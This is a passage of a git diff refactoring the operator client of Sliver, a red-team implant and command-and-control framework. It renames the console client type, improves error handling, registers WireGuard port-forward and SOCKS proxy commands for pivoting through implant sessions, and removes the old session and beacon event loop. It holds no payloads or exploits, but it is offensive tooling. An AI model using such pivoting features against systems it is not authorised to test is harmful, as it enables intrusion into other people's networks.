"github.com/bishopfox/sliver/client/command/completers" + "github.com/bishopfox/sliver/client/command/flags" + "github.com/bishopfox/sliver/client/command/help" + "github.com/bishopfox/sliver/client/console" + consts "github.com/bishopfox/sliver/client/constants" +) + +// Commands returns the “ command and its subcommands. +func Commands(con *console.SliverClient) []*cobra.Command { + wgConfigCmd := &cobra.Command{ + Use: consts.WgConfigStr, + Short: "Generate a new WireGuard client config", + Long: help.GetHelpFor([]string{consts.WgConfigStr}), + Run: func(cmd *cobra.Command, args []string) { + WGConfigCmd(cmd, con, args) + }, + GroupID: consts.NetworkHelpGroup, + } + + flags.Bind("wg-config", true, wgConfigCmd, func(f *pflag.FlagSet) { + f.IntP("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + flags.Bind("wg-config", false, wgConfigCmd, func(f *pflag.FlagSet) { + f.StringP("save", "s", "", "save configuration to file (.conf)") + }) + completers.NewFlagCompsFor(wgConfigCmd, func(comp *carapace.ActionMap) { + (*comp)["save"] = carapace.ActionFiles().Tag("directory/file to save config") + }) + + return []*cobra.Command{wgConfigCmd} +} + +// SliverCommands returns all Wireguard commands that can be used on an active target. +func SliverCommands(con *console.SliverClient) []*cobra.Command { + wgPortFwdCmd := &cobra.Command{ + Use: consts.WgPortFwdStr, + Short: "List ports forwarded by the WireGuard tun interface", + Long: help.GetHelpFor([]string{consts.WgPortFwdStr}), + GroupID: consts.NetworkHelpGroup, + Annotations: flags.RestrictTargets( + consts.WireguardCmdsFilter, + consts.SessionCmdsFilter, + ), + Run: func(cmd *cobra.Command, args []string) { + WGPortFwdListCmd(cmd, con, args) + }, + } + flags.Bind("wg portforward", true, wgPortFwdCmd, func(f *pflag.FlagSet) { + f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + + wgPortFwdAddCmd := &cobra.Command{ + Use: consts.AddStr, + Short: "Add a port forward from the WireGuard tun interface to a host on the target network", + Long: help.GetHelpFor([]string{consts.WgPortFwdStr, consts.AddStr}), + Run: func(cmd *cobra.Command, args []string) { + WGPortFwdAddCmd(cmd, con, args) + }, + } + flags.Bind("wg portforward", false, wgPortFwdAddCmd, func(f *pflag.FlagSet) { + f.Int32P("bind", "b", 1080, "port to listen on the WireGuard tun interface") + f.StringP("remote", "r", "", "remote target host:port (e.g., 10.0.0.1:445)") + }) + wgPortFwdCmd.AddCommand(wgPortFwdAddCmd) + + wgPortFwdRmCmd := &cobra.Command{ + Use: consts.RmStr, + Short: "Remove a port forward from the WireGuard tun interface", + Long: help.GetHelpFor([]string{consts.WgPortFwdStr, consts.RmStr}), + Args: cobra.ExactArgs(1), + Run: func(cmd *cobra.Command, args []string) { + WGPortFwdRmCmd(cmd, con, args) + }, + } + wgPortFwdCmd.AddCommand(wgPortFwdRmCmd) + + carapace.Gen(wgPortFwdRmCmd).PositionalCompletion(PortfwdIDCompleter(con).Usage("forwarder ID")) + + wgSocksCmd := &cobra.Command{ + Use: consts.WgSocksStr, + Short: "List socks servers listening on the WireGuard tun interface", + Long: help.GetHelpFor([]string{consts.WgSocksStr}), + Run: func(cmd *cobra.Command, args []string) { + WGSocksListCmd(cmd, con, args) + }, + GroupID: consts.NetworkHelpGroup, + Annotations: flags.RestrictTargets(consts.WireguardCmdsFilter), + } + flags.Bind("wg socks", true, wgSocksCmd, func(f *pflag.FlagSet) { + f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + + wgSocksStartCmd := &cobra.Command{ + Use: consts.StartStr, + Short: "Start a socks5 listener on the WireGuard tun interface", + Long: help.GetHelpFor([]string{consts.WgSocksStr, consts.StartStr}), + Run: func(cmd *cobra.Command, args []string) { + WGSocksStartCmd(cmd, con, args) + }, + } + wgSocksCmd.AddCommand(wgSocksStartCmd) + flags.Bind("wg socks", false, wgSocksStartCmd, func(f *pflag.FlagSet) { + f.Int32P("bind", "b", 3090, "port to listen on the WireGuard tun interface") + }) + + wgSocksStopCmd := &cobra.Command{ + Use: consts.StopStr, + Short: "Stop a socks5 listener on the WireGuard tun interface", + Long: help.GetHelpFor([]string{consts.WgSocksStr, consts.StopStr}), + Run: func(cmd *cobra.Command, args []string) { + WGSocksStopCmd(cmd, con, args) + }, + Args: cobra.ExactArgs(1), + } + wgSocksCmd.AddCommand(wgSocksStopCmd) + carapace.Gen(wgSocksStopCmd).PositionalCompletion(SocksIDCompleter(con).Usage("Socks server ID")) + + return []*cobra.Command{wgPortFwdCmd, wgSocksCmd} +} diff --git a/client/command/wireguard/wg-config.go b/client/command/wireguard/wg-config.go index 2e7c3bb13e..af61180609 100644 --- a/client/command/wireguard/wg-config.go +++ b/client/command/wireguard/wg-config.go @@ -52,11 +52,11 @@ type wgQuickConfig struct { AllowedSubnet string } -// WGConfigCmd - Generate a WireGuard client configuration -func WGConfigCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// WGConfigCmd - Generate a WireGuard client configuration. +func WGConfigCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { wgConfig, err := con.Rpc.GenerateWGClientConfig(context.Background(), &commonpb.Empty{}) if err != nil { - con.PrintErrorf("Error: %s\n", err) + con.PrintErrorf("Error: %s\n", con.UnwrapServerErr(err)) return } clientPrivKeyBytes, err := hex.DecodeString(wgConfig.ClientPrivateKey) diff --git a/client/command/wireguard/wg-portfwd-add.go b/client/command/wireguard/wg-portfwd-add.go index c6817e38de..6cd347d74d 100644 --- a/client/command/wireguard/wg-portfwd-add.go +++ b/client/command/wireguard/wg-portfwd-add.go @@ -28,8 +28,8 @@ import ( "github.com/bishopfox/sliver/protobuf/sliverpb" ) -// WGPortFwdAddCmd - Add a new WireGuard port forward -func WGPortFwdAddCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// WGPortFwdAddCmd - Add a new WireGuard port forward. +func WGPortFwdAddCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session := con.ActiveTarget.GetSessionInteractive() if session == nil { return @@ -57,7 +57,7 @@ func WGPortFwdAddCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args Request: con.ActiveTarget.Request(cmd), }) if err != nil { - con.PrintErrorf("Error: %v", err) + con.PrintErrorf("Error: %v", con.UnwrapServerErr(err)) return } diff --git a/client/command/wireguard/wg-portfwd-rm.go b/client/command/wireguard/wg-portfwd-rm.go index b732719fdf..edf80c7ff5 100644 --- a/client/command/wireguard/wg-portfwd-rm.go +++ b/client/command/wireguard/wg-portfwd-rm.go @@ -30,8 +30,8 @@ import ( "github.com/bishopfox/sliver/protobuf/sliverpb" ) -// WGPortFwdRmCmd - Remove a WireGuard port forward -func WGPortFwdRmCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// WGPortFwdRmCmd - Remove a WireGuard port forward. +func WGPortFwdRmCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session := con.ActiveTarget.GetSessionInteractive() if session == nil { return @@ -52,7 +52,7 @@ func WGPortFwdRmCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args [ Request: con.ActiveTarget.Request(cmd), }) if err != nil { - con.PrintErrorf("Error: %v", err) + con.PrintErrorf("Error: %v", con.UnwrapServerErr(err)) return } @@ -66,16 +66,20 @@ func WGPortFwdRmCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args [ } } -// PortfwdIDCompleter completes IDs of WireGuard remote portforwarders -func PortfwdIDCompleter(con *console.SliverConsoleClient) carapace.Action { +// PortfwdIDCompleter completes IDs of WireGuard remote portforwarders. +func PortfwdIDCompleter(con *console.SliverClient) carapace.Action { callback := func(_ carapace.Context) carapace.Action { + if msg, err := con.PreRunComplete(); err != nil { + return msg + } + results := make([]string, 0) fwdList, err := con.Rpc.WGListForwarders(context.Background(), &sliverpb.WGTCPForwardersReq{ Request: con.ActiveTarget.Request(con.App.ActiveMenu().Root()), }) if err != nil { - return carapace.ActionMessage("failed to get Wireguard port forwarders: %s", err.Error()) + return carapace.ActionMessage("failed to get Wireguard port forwarders: %s", con.UnwrapServerErr(err)) } for _, fwd := range fwdList.Forwarders { diff --git a/client/command/wireguard/wg-portfwd.go b/client/command/wireguard/wg-portfwd.go index e7eabd8db4..d9730bbb08 100644 --- a/client/command/wireguard/wg-portfwd.go +++ b/client/command/wireguard/wg-portfwd.go @@ -29,8 +29,8 @@ import ( "github.com/bishopfox/sliver/protobuf/sliverpb" ) -// WGPortFwdListCmd - List WireGuard port forwards -func WGPortFwdListCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// WGPortFwdListCmd - List WireGuard port forwards. +func WGPortFwdListCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session := con.ActiveTarget.GetSessionInteractive() if session == nil { return @@ -44,7 +44,7 @@ func WGPortFwdListCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args Request: con.ActiveTarget.Request(cmd), }) if err != nil { - con.PrintErrorf("Error: %v", err) + con.PrintErrorf("Error: %v", con.UnwrapServerErr(err)) return } if fwdList.Response != nil && fwdList.Response.Err != "" { @@ -58,6 +58,7 @@ func WGPortFwdListCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args } else { tw := table.NewWriter() tw.SetStyle(settings.GetTableStyle(con)) + settings.SetMaxTableSize(tw) tw.AppendHeader(table.Row{ "ID", "Name", diff --git a/client/command/wireguard/wg-socks-start.go b/client/command/wireguard/wg-socks-start.go index a9062faff2..7d60e6ff62 100644 --- a/client/command/wireguard/wg-socks-start.go +++ b/client/command/wireguard/wg-socks-start.go @@ -27,8 +27,8 @@ import ( "github.com/bishopfox/sliver/protobuf/sliverpb" ) -// WGSocksStartCmd - Start a WireGuard reverse SOCKS proxy -func WGSocksStartCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// WGSocksStartCmd - Start a WireGuard reverse SOCKS proxy. +func WGSocksStartCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session := con.ActiveTarget.GetSessionInteractive() if session == nil { return @@ -45,7 +45,7 @@ func WGSocksStartCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args Request: con.ActiveTarget.Request(cmd), }) if err != nil { - con.PrintErrorf("Error: %v", err) + con.PrintErrorf("Error: %v", con.UnwrapServerErr(err)) return } diff --git a/client/command/wireguard/wg-socks-stop.go b/client/command/wireguard/wg-socks-stop.go index ef9da5a69d..7436b172b2 100644 --- a/client/command/wireguard/wg-socks-stop.go +++ b/client/command/wireguard/wg-socks-stop.go @@ -28,8 +28,8 @@ import ( "github.com/bishopfox/sliver/protobuf/sliverpb" ) -// WGSocksStopCmd - Stop a WireGuard SOCKS proxy -func WGSocksStopCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// WGSocksStopCmd - Stop a WireGuard SOCKS proxy. +func WGSocksStopCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session := con.ActiveTarget.GetSession() if session == nil { return @@ -50,7 +50,7 @@ func WGSocksStopCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args [ Request: con.ActiveTarget.Request(cmd), }) if err != nil { - con.PrintErrorf("Error: %v", err) + con.PrintErrorf("Error: %v", con.UnwrapServerErr(err)) return } diff --git a/client/command/wireguard/wg-socks.go b/client/command/wireguard/wg-socks.go index 1bc1b13385..3b90541e6a 100644 --- a/client/command/wireguard/wg-socks.go +++ b/client/command/wireguard/wg-socks.go @@ -31,8 +31,8 @@ import ( "github.com/bishopfox/sliver/protobuf/sliverpb" ) -// WGSocksListCmd - List WireGuard SOCKS proxies -func WGSocksListCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// WGSocksListCmd - List WireGuard SOCKS proxies. +func WGSocksListCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session := con.ActiveTarget.GetSessionInteractive() if session == nil { return @@ -46,7 +46,7 @@ func WGSocksListCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args [ Request: con.ActiveTarget.Request(cmd), }) if err != nil { - con.PrintErrorf("Error: %v", err) + con.PrintErrorf("Error: %v", con.UnwrapServerErr(err)) return } if socksList.Response != nil && socksList.Response.Err != "" { @@ -58,6 +58,7 @@ func WGSocksListCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args [ if 0 < len(socksList.Servers) { tw := table.NewWriter() tw.SetStyle(settings.GetTableStyle(con)) + settings.SetMaxTableSize(tw) tw.AppendHeader(table.Row{ "ID", "Local Address", @@ -74,15 +75,19 @@ func WGSocksListCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args [ } // SocksIDCompleter IDs of WireGuard socks servers. -func SocksIDCompleter(con *console.SliverConsoleClient) carapace.Action { +func SocksIDCompleter(con *console.SliverClient) carapace.Action { callback := func(_ carapace.Context) carapace.Action { + if msg, err := con.PreRunComplete(); err != nil { + return msg + } + results := make([]string, 0) socksList, err := con.Rpc.WGListSocksServers(context.Background(), &sliverpb.WGSocksServersReq{ Request: con.ActiveTarget.Request(con.App.ActiveMenu().Root()), }) if err != nil { - return carapace.ActionMessage("failed to get Wireguard Socks servers: %s", err.Error()) + return carapace.ActionMessage("failed to get Wireguard Socks servers: %s", con.UnwrapServerErr(err)) } for _, serv := range socksList.Servers { diff --git a/client/console/command.go b/client/console/command.go new file mode 100644 index 0000000000..037445084a --- /dev/null +++ b/client/console/command.go @@ -0,0 +1,163 @@ +package console + +/* + Sliver Implant Framework + Copyright (C) 2019 Bishop Fox + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "strings" + + "github.com/spf13/cobra" + + "github.com/reeflective/console" + + consts "github.com/bishopfox/sliver/client/constants" +) + +// FilterCommands - The active target may have various transport stacks, +// run on different hosts and operating systems, have networking tools, etc. +// +// Given a tree of commands which may or may not all act on a given target, +// the implant adds a series of annotations and hide directives to those which +// should not be available in the current state of things. +func (s *ActiveTarget) FilterCommands(rootCmd *cobra.Command) { + targetFilters := s.Filters() + + for _, cmd := range rootCmd.Commands() { + // Don't override commands if they are already hidden + if cmd.Hidden { + continue + } + + if isFiltered(cmd, targetFilters) { + cmd.Hidden = true + } + } +} + +// FilterCommands shows/hides commands if the active target does support them (or not). +// Ex; to hide Windows commands on Linux implants, Wireguard tools on HTTP C2, etc. +// Both the cmd *cobra.Command passed and the filters can be nil, in which case the +// filters are recomputed by the console application for the current context. +func (con *SliverClient) FilterCommands(cmd *cobra.Command, filters ...string) { + con.App.ShowCommands() + + if con.isCLI { + filters = append(filters, consts.ConsoleCmdsFilter) + } + + sess, beac := con.ActiveTarget.Get() + if sess != nil || beac != nil { + filters = append(filters, con.ActiveTarget.Filters()...) + } + + con.App.HideCommands(filters...) + + if cmd != nil { + for _, cmd := range cmd.Commands() { + if cmd.Hidden { + continue + } + + if isFiltered(cmd, filters) { + cmd.Hidden = true + } + } + } +} + +// AddPreRuns should be considered part of the temporary API. +// It is used by the Sliver client to run hooks before running its own pre-connect +// handlers, and this function is thus used to register server-only pre-run routines. +func (con *SliverClient) AddPreRuns(hooks ...func(_ *cobra.Command, _ []string) error) { + con.preRunners = append(con.preRunners, hooks...) +} + +// runPreConnectHooks is also a function which might be temporary, and currently used +// to run "server-side provided" command pre-runners (for assets setup, jobs, etc) +func (con *SliverClient) runPreConnectHooks(cmd *cobra.Command, args []string) error { + for _, hook := range con.preRunners { + if hook == nil { + continue + } + + if err := hook(cmd, args); err != nil { + return err + } + } + + return nil +} + +func isFiltered(cmd *cobra.Command, targetFilters []string) bool { + if cmd.Annotations == nil { + return false + } + + // Get the filters on the command + filterStr := cmd.Annotations[console.CommandFilterKey] + filters := strings.Split(filterStr, ",") + + for _, cmdFilter := range filters { + for _, filter := range targetFilters { + if cmdFilter != "" && cmdFilter == filter { + return true + } + } + } + + return false +} + +// isOffline is unfortunately required for now. +// Some commands don't need access to the server, and therefore should +// be runnable even if no remote teamserver configs are available. +// +// An alternative would be to add some annotations to the commands +// just like we use annotations for implant command filtering, but +// I didn't want to impose such a practice without being sure of +// where it ultimately leads. Plus, there are not that many commands +// that need such a check, so I prefered to just hardcode them in +// the offlineCommands list below. +// +// This function only returns true when the exact command matches. +func (con *SliverClient) isOffline(cmd *cobra.Command) bool { + for _, cmdLine := range offlineCommands { + ts, _, err := cmd.Root().Find(cmdLine) + if err != nil || ts == nil { + continue + } + + if ts == cmd { + return true + } + } + + return false +} + +var offlineCommands = [][]string{ + // Teamclient/teamserver management + {"teamserver", "client", "import"}, // sliver-server + {"teamclient", "import"}, // sliver-client + + // Sliver-specific + {"help"}, + {consts.UpdateStr}, + {consts.LicensesStr}, + {consts.SettingsStr}, +} diff --git a/client/console/console.go b/client/console/console.go index 0714148089..72d7f2eec2 100644 --- a/client/console/console.go +++ b/client/console/console.go @@ -19,34 +19,31 @@ package console */ import ( - "bufio" "context" + "errors" "fmt" "io" "log" - insecureRand "math/rand" "os" "path/filepath" "strconv" - "strings" "sync" "time" - "github.com/gofrs/uuid" - "github.com/reeflective/console" - "github.com/reeflective/readline" "github.com/spf13/cobra" "golang.org/x/exp/slog" - "google.golang.org/protobuf/proto" + "google.golang.org/grpc" + "google.golang.org/grpc/status" + + "github.com/reeflective/console" + "github.com/reeflective/readline" + "github.com/reeflective/team/client" "github.com/bishopfox/sliver/client/assets" consts "github.com/bishopfox/sliver/client/constants" - "github.com/bishopfox/sliver/client/core" - "github.com/bishopfox/sliver/client/prelude" - "github.com/bishopfox/sliver/client/spin" + "github.com/bishopfox/sliver/client/transport" "github.com/bishopfox/sliver/client/version" "github.com/bishopfox/sliver/protobuf/clientpb" - "github.com/bishopfox/sliver/protobuf/commonpb" "github.com/bishopfox/sliver/protobuf/rpcpb" ) @@ -55,7 +52,7 @@ const ( ) const ( - // ANSI Colors + // ANSI Colors. Normal = "\033[0m" Black = "\033[30m" Red = "\033[31m" @@ -71,62 +68,135 @@ const ( DownN = "\033[%dB" Underline = "\033[4m" - // Info - Display colorful information + // Info - Display colorful information. Info = Bold + Cyan + "[*] " + Normal - // Warn - Warn a user + // Warn - Warn a user. Warn = Bold + Red + "[!] " + Normal - // Debug - Display debug information + // Debug - Display debug information. Debug = Bold + Purple + "[-] " + Normal - // Woot - Display success + // Woot - Display success. Woot = Bold + Green + "[$] " + Normal - // Success - Diplay success + // Success - Diplay success. Success = Bold + Green + "[+] " + Normal ) -// Observer - A function to call when the sessions changes +// Observer - A function to call when the sessions changes. type ( Observer func(*clientpb.Session, *clientpb.Beacon) BeaconTaskCallback func(*clientpb.BeaconTask) ) -type SliverConsoleClient struct { - App *console.Console - Rpc rpcpb.SliverRPCClient - ActiveTarget *ActiveTarget - EventListeners *sync.Map +// SliverClient is a general-purpose, interface-agnostic client. +// +// It allows to use the Sliver toolset with an arbitrary number of remote/local +// Sliver servers, either through its API (RPC client), CLI (the command tree), +// or through an arbitrary mix of those. +// +// The Sliver client will by default be used with remote, mutual TLS authenticated +// connections to Sliver teamservers, which configurations are found in the teamclient +// directory. +// However, the teamclient API/CLI offers ways to manage and use those configurations, +// which means that users of this Sliver client may build arbitrarily complex server +// selection/connection strategies. +type SliverClient struct { + // Core Client & Teamclient + App *console.Console + Settings *assets.ClientSettings + IsServer bool + Teamclient *client.Client + dialer *transport.TeamClient // Allows to access the grpc.Conn. + + // Command utilities + isCLI bool // Are we in a exec-once CLI command mode. + preRunners []func(*cobra.Command, []string) error // Additional pre-runners (server) + signals map[string]chan os.Signal // Some commands can block, and be unblocked. + Args []string // Cache the last command-line we have run. + + // Logging + jsonHandler slog.Handler + printf func(format string, args ...any) (int, error) + closeLogs []func() + + // Sliver-specific + Rpc rpcpb.SliverRPCClient + ActiveTarget *ActiveTarget + EventListeners *sync.Map + + // Tasks (pending) + // (Ensure we always print result after sent status display) + beaconSentStatus map[string]*sync.WaitGroup + beaconTaskSentMutex *sync.Mutex + waitingResult chan bool + + // Tasks (completed) BeaconTaskCallbacks map[string]BeaconTaskCallback BeaconTaskCallbacksMutex *sync.Mutex - Settings *assets.ClientSettings - IsServer bool - IsCLI bool +} - jsonHandler slog.Handler - printf func(format string, args ...any) (int, error) +// NewSliverClient is the general-purpose Sliver Client constructor. +// +// The returned client includes and is ready to use the following: +// - A reeflective/team.Client to manage, use and interact with an arbitrary +// number of Sliver teamservers. This includes connecting, registering RPC +// client interfaces, logging, authenticating and disconnecting. +// - A console application, which can either be used closed-loop, or in a classic +// exec-once CLI style. Users of this client are free to use either at will. +// - Cobra-command runner methods to be included in new commands and completers. +// - Methods to set and interact with a Sliver implant target. +// - Various logging/streaming utilities. +// +// Any error returned from this call is critical, meaning that given the current +// options (teamclient, gRPC, etc), the SliverClient is not able to work properly. +func NewSliverClient(opts ...grpc.DialOption) (con *SliverClient, err error) { + // Create the client core, everything interface-related. + con = newClient() + + // Our reeflective/team.Client needs our gRPC stack. + con.dialer = transport.NewClient(opts...) + + var clientOpts []client.Options + clientOpts = append(clientOpts, + client.WithHomeDirectory(assets.GetRootAppDir()), + client.WithDialer(con.dialer), + client.WithLogger(initTeamclientLog()), + ) + + // Create a new reeflective/team.Client, which is in charge of selecting, + // and connecting with, remote Sliver teamserver configurations, etc. + // Includes client backend logging, authentication, core teamclient methods... + con.Teamclient, err = client.New("sliver", con, clientOpts...) + if err != nil { + return nil, err + } + + return con, nil } -// NewConsole creates the sliver client (and console), creating menus and prompts. +// newClient creates the sliver client (and console), creating menus and prompts. // The returned console does neither have commands nor a working RPC connection yet, // thus has not started monitoring any server events, or started the application. -func NewConsole(isServer bool) *SliverConsoleClient { +func newClient() *SliverClient { assets.Setup(false, false) settings, _ := assets.LoadSettings() - con := &SliverConsoleClient{ - App: console.New("sliver"), - ActiveTarget: &ActiveTarget{ - observers: map[int]Observer{}, - observerID: 0, - }, + con := &SliverClient{ + App: console.New("sliver"), + Settings: settings, + isCLI: true, + signals: make(map[string]chan os.Signal), + printf: fmt.Printf, + jsonHandler: slog.NewTextHandler(os.Stdout, &slog.HandlerOptions{}), + ActiveTarget: newActiveTarget(), EventListeners: &sync.Map{}, BeaconTaskCallbacks: map[string]BeaconTaskCallback{}, + beaconSentStatus: map[string]*sync.WaitGroup{}, BeaconTaskCallbacksMutex: &sync.Mutex{}, - IsServer: isServer, - Settings: settings, + beaconTaskSentMutex: &sync.Mutex{}, } - // The active target needs access to the console - // to automatically switch between command menus. - con.ActiveTarget.con = con + con.App.SetPrintLogo(func(_ *console.Console) { + con.printLogo() + }) // Readline-shell (edition) settings if settings.VimMode { @@ -139,457 +209,46 @@ func NewConsole(isServer bool) *SliverConsoleClient { // Server menu. server := con.App.Menu(consts.ServerMenu) - server.Short = "Server commands" server.Prompt().Primary = con.GetPrompt server.AddInterrupt(readline.ErrInterrupt, con.exitConsole) // Ctrl-C - server.AddHistorySourceFile("server history", filepath.Join(assets.GetRootAppDir(), "history")) + histPath := filepath.Join(assets.GetRootAppDir(), "history") + server.AddHistorySourceFile("server history", histPath) // Implant menu. sliver := con.App.NewMenu(consts.ImplantMenu) - sliver.Short = "Implant commands" sliver.Prompt().Primary = con.GetPrompt sliver.AddInterrupt(io.EOF, con.exitImplantMenu) // Ctrl-D - con.App.SetPrintLogo(func(_ *console.Console) { - con.PrintLogo() - }) + // The active target needs access to the console + // to automatically switch between command menus. + con.ActiveTarget.con = con return con } -// Init requires a working RPC connection to the sliver server, and 2 different sets of commands. -// If run is true, the console application is started, making this call blocking. Otherwise, commands and -// RPC connection are bound to the console (making the console ready to run), but the console does not start. -func StartClient(con *SliverConsoleClient, rpc rpcpb.SliverRPCClient, serverCmds, sliverCmds console.Commands, run bool) error { - con.Rpc = rpc - con.IsCLI = !run - - // The console application needs to query the terminal for cursor positions - // when asynchronously printing logs (that is, when no command is running). - // If ran from a system shell, however, those queries will block because - // the system shell is in control of stdin. So just use the classic Printf. - if con.IsCLI { - con.printf = fmt.Printf - } else { - con.printf = con.App.TransientPrintf - } - - // Bind commands to the app - server := con.App.Menu(consts.ServerMenu) - server.SetCommands(serverCmds) - - sliver := con.App.Menu(consts.ImplantMenu) - sliver.SetCommands(sliverCmds) - - // Events - go con.startEventLoop() - go core.TunnelLoop(rpc) - - // console logger - if con.Settings.ConsoleLogs { - // Classic logs - consoleLog := getConsoleLogFile() - consoleLogStream, err := con.ClientLogStream("json") - if err != nil { - log.Printf("Could not get client json log stream: %s", err) - } - con.setupLogger(consoleLog, consoleLogStream) - defer consoleLog.Close() - - // Ascii cast sessions (complete terminal interface). - asciicastLog := getConsoleAsciicastFile() - defer asciicastLog.Close() - - asciicastStream, err := con.ClientLogStream("asciicast") - if err != nil { - log.Printf("Could not get client asciicast log stream: %s", err) - } - con.setupAsciicastRecord(asciicastLog, asciicastStream) - } +// StartConsole is a blocking call that starts the Sliver closed console. +// The command/events/log outputs use the specific-console fmt.Printer, +// because the console needs to query the terminal for cursor positions +// when asynchronously printing logs (that is, when no command is running). +func (con *SliverClient) StartConsole() error { + con.isCLI = false + con.printf = con.App.TransientPrintf - if !con.IsCLI { - return con.App.Start() - } + // os.Args are useless, and we need to keep each + // of our commands in case they are ran on beacons: + // those "need" the command line attached to task requests. + con.App.PreCmdRunLineHooks = append(con.App.PreCmdRunLineHooks, + func(args []string) ([]string, error) { + con.Args = args + return args, nil + }) - return nil + return con.App.Start() } -func (con *SliverConsoleClient) startEventLoop() { - eventStream, err := con.Rpc.Events(context.Background(), &commonpb.Empty{}) - if err != nil { - fmt.Printf(Warn+"%s\n", err) - return - } - for { - event, err := eventStream.Recv() - if err == io.EOF || event == nil { - return - } - - go con.triggerEventListeners(event) - - // Trigger event based on type - switch event.EventType { - - case consts.CanaryEvent: - con.PrintEventErrorf(Bold+"WARNING: %s%s has been burned (DNS Canary)", Normal, event.Session.Name) - sessions := con.GetSessionsByName(event.Session.Name) - for _, session := range sessions { - shortID := strings.Split(session.ID, "-")[0] - con.PrintErrorf("\t🔥 Session %s is affected", shortID) - } - - case consts.WatchtowerEvent: - msg := string(event.Data) - con.PrintEventErrorf(Bold+"WARNING: %s%s has been burned (seen on %s)", Normal, event.Session.Name, msg) - sessions := con.GetSessionsByName(event.Session.Name) - for _, session := range sessions { - shortID := strings.Split(session.ID, "-")[0] - con.PrintErrorf("\t🔥 Session %s is affected", shortID) - } - - case consts.JoinedEvent: - if con.Settings.UserConnect { - con.PrintInfof("%s has joined the game", event.Client.Operator.Name) - } - case consts.LeftEvent: - if con.Settings.UserConnect { - con.PrintInfof("%s left the game", event.Client.Operator.Name) - } - - case consts.JobStoppedEvent: - job := event.Job - con.PrintErrorf("Job #%d stopped (%s/%s)", job.ID, job.Protocol, job.Name) - - case consts.SessionOpenedEvent: - session := event.Session - currentTime := time.Now().Format(time.RFC1123) - shortID := strings.Split(session.ID, "-")[0] - con.PrintEventInfof("Session %s %s - %s (%s) - %s/%s - %v", - shortID, session.Name, session.RemoteAddress, session.Hostname, session.OS, session.Arch, currentTime) - - // Prelude Operator - if prelude.ImplantMapper != nil { - err = prelude.ImplantMapper.AddImplant(session, nil) - if err != nil { - con.PrintErrorf("Could not add session to Operator: %s", err) - } - } - - case consts.SessionUpdateEvent: - session := event.Session - currentTime := time.Now().Format(time.RFC1123) - shortID := strings.Split(session.ID, "-")[0] - con.PrintInfof("Session %s has been updated - %v", shortID, currentTime) - - case consts.SessionClosedEvent: - session := event.Session - currentTime := time.Now().Format(time.RFC1123) - shortID := strings.Split(session.ID, "-")[0] - con.PrintEventErrorf("Lost session %s %s - %s (%s) - %s/%s - %v", - shortID, session.Name, session.RemoteAddress, session.Hostname, session.OS, session.Arch, currentTime) - activeSession := con.ActiveTarget.GetSession() - core.GetTunnels().CloseForSession(session.ID) - core.CloseCursedProcesses(session.ID) - if activeSession != nil && activeSession.ID == session.ID { - con.ActiveTarget.Set(nil, nil) - con.PrintErrorf("Active session disconnected") - } - if prelude.ImplantMapper != nil { - err = prelude.ImplantMapper.RemoveImplant(session) - if err != nil { - con.PrintErrorf("Could not remove session from Operator: %s", err) - } - con.PrintInfof("Removed session %s from Operator", session.Name) - } - - case consts.BeaconRegisteredEvent: - beacon := &clientpb.Beacon{} - proto.Unmarshal(event.Data, beacon) - currentTime := time.Now().Format(time.RFC1123) - shortID := strings.Split(beacon.ID, "-")[0] - con.PrintEventInfof("Beacon %s %s - %s (%s) - %s/%s - %v", - shortID, beacon.Name, beacon.RemoteAddress, beacon.Hostname, beacon.OS, beacon.Arch, currentTime) - - // Prelude Operator - if prelude.ImplantMapper != nil { - err = prelude.ImplantMapper.AddImplant(beacon, func(taskID string, cb func(*clientpb.BeaconTask)) { - con.AddBeaconCallback(taskID, cb) - }) - if err != nil { - con.PrintErrorf("Could not add beacon to Operator: %s", err) - } - } - - case consts.BeaconTaskResultEvent: - con.triggerBeaconTaskCallback(event.Data) - - } - - con.triggerReactions(event) - } -} - -// CreateEventListener - creates a new event listener and returns its ID -func (con *SliverConsoleClient) CreateEventListener() (string, <-chan *clientpb.Event) { - listener := make(chan *clientpb.Event, 100) - listenerID, _ := uuid.NewV4() - con.EventListeners.Store(listenerID.String(), listener) - return listenerID.String(), listener -} - -// RemoveEventListener - removes an event listener given its id -func (con *SliverConsoleClient) RemoveEventListener(listenerID string) { - value, ok := con.EventListeners.LoadAndDelete(listenerID) - if ok { - close(value.(chan *clientpb.Event)) - } -} - -func (con *SliverConsoleClient) triggerEventListeners(event *clientpb.Event) { - con.EventListeners.Range(func(key, value interface{}) bool { - listener := value.(chan *clientpb.Event) - listener <- event // Do not block while sending the event to the listener - return true - }) -} - -func (con *SliverConsoleClient) triggerReactions(event *clientpb.Event) { - reactions := 